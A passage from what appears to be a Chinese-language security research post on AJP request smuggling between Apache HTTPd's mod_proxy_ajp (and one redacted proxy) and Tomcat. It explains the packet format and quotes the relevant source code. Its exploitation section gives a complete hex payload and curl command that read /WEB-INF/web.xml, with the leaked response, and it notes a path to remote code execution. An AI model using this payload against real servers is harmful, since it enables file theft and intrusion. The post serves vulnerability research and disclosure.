00000080  2d 75 72 6c 65 6e 63 6f  64 65 64 00 0a 00 0f 41   -urlenco ded....A
00000090  4a 50 5f 52 45 4d 4f 54  45 5f 50 4f 52 54 00 00   JP_REMOT E_PORT..
000000A0  05 35 32 32 30 32 00 0a  00 0e 41 4a 50 5f 4c 4f   .52202.. ..AJP_LO
000000B0  43 41 4c 5f 41 44 44 52  00 00 0b 31 30 2e 32 31   CAL_ADDR ...10.21
000000C0  31 2e 35 35 2e 33 00 ff                            1.55.3.. 

000000C8  12 34 00 08 00 06 41 42  43 44 45 46               .4....AB CDEF

可以看到,在第 0x65 字节,标识了数据长度为 6。在第二个数据包,则是一个只包含着数据长度和数据的数据包。在 Apache Tomcat 的 org/apache/catalina/connector/Request.class 中,针对数据包的处理方式如下:

protected void parseParameters() {
    // ...
    try {
        // ...
        if (!this.usingInputStream && !this.usingReader) {
            String contentType = this.getContentType();
            // 判断是否有必要进行下一步

            int len = this.getContentLength();
            if (len <= 0) {
                if ("chunked".equalsIgnoreCase(this.coyoteRequest.getHeader("transfer-encoding"))) {
                    // ...
                    formData = this.readChunkedPostBody();
                    // ...
                }
            } else {
                // ...
            }

首先会根据 Content-Type 判断是否有必要进行数据处理,接着判断 Content-Length 是否为 0,如果不为 0,则会读取缓冲区数据流中的下一个 AJP 请求数据包进行数据处理。

3. Transfer-Encoding: chunked

针对 Transfer-Encoding: chunked 的情况,AJP 代理通常不会立刻发送请求,而是等待 AJP 服务端返回 GET_BODY_CHUNK 的返回包 41 42 00 03 06 1f fa后,再接着发送。当数据发送完成时,则发送一个 12 34 02 00 00 00 的空数据包表示数据发送完成。

4. Request Smuggling

请求走私从来都不是一个服务产生的问题,而是多个服务交互中的不一致情况导致的。

  1. 发送的 Content-Length 为 0 但是转发了全部请求体的情况;
  2. 发送两个 Content-Length,其中前端代理使用第一个,而 Tomcat 使用第二个;
  3. 使用 Transfer-Encoding 传送数据,但是前端立刻向后端发送了数据;
  4. 使用 Transfer-Encoding 传送数据,但前端正常识别 chunked 而后端不能正确识别。

除了第一条暂未遇到真实情况以外,第 2、3 条在  ████████████  中可以成功攻击,第 4 条在 Apache HTTPd 的 proxy_ajp 可以成功攻击。

5. ████████████

████████████ 对于 Transfer-Encoding 处理错误,导致获取到数据后立刻向后端发送 AJP 数据包,从而导致 AJP 无法分清命令数据包和“数据”数据包,最终导致请求走私。

6. Apache HTTPd mod proxy_ajp

通过查询 Mozilla 对于 Transfer-Encoding 的语法定义,发现Transfer-Encoding 支持如下格式:

Transfer-Encoding: gzip, chunked

所以在 Apache HTTPd 中发送诸如此类格式的 Transfer-Encoding 会正常解析出 chunked 的数据段,而在 modules/proxy/mod_proxy_ajp.c 的编写方式如下:

if (tenc && (strcasecmp(tenc, "chunked") == 0)) {
    /* The AJP protocol does not want body data yet */
    ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(00870) "request is chunked");
} else {
    /* Get client provided Content-Length header */
    content_length = get_content_length(r);
    // ...
    status = apr_brigade_flatten(input_brigade, buff, &bufsiz);
    // ...
    if (bufsiz > 0) {
        status = ajp_send_data_msg(conn->sock, msg, bufsiz);

这会导致在此处的 if 判断进入 else 分支,并立刻发送用户可控的 POST 的数据至 AJP 服务,而非正常逻辑中等待GET_BODY_CHUNK返回包发送后才继续发送,导致请求走私。

7. Exploitation

首先观察正常发送的数据包:

00000000  12 34 00 0a 00 08 64 61  74 61 3d 31 32 33         .4....da ta=123

除去 Magic(0x1234)和消息长度(0x000a)之后,接着的是数据的长度(0x0008)和数据内容,而在正常命令数据包中:

00000000  12 34 00 d9 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1

第 5、6 字节为 Code Type 和 HTTP Method,所以如果需要构造一个 GET 请求,则需要构造数据的长度为 0x0202(516)才可以满足需求格式,可以通过填充某些 request attribute 或者请求参数来填充。在 Apache HTTPd 的 proxy_ajp 可以成功实现文件读取,结合文件上传也可以实现 RCE,具体利用方式可以参考 GhostCat 的利用方式。

$ xxd data
00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

$ curl -i 10.211.55.3/proxy_ajp/ -H 'Transfer-Encoding: chunked, chunked' --data-binary @data
HTTP/1.1 200 200
Date: Wed, 02 Mar 2022 17:38:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: JSESSIONID=8B127C58793D6507FD24027670A3543C; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1257
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
 ...

8. Conclusion

因为自 GhostCat(CVE-2020-1938)后,Tomcat 增加了安全措施,外部 AJP 请求无法设置一些敏感 attributes,所以实际上问题不大。

❌
❌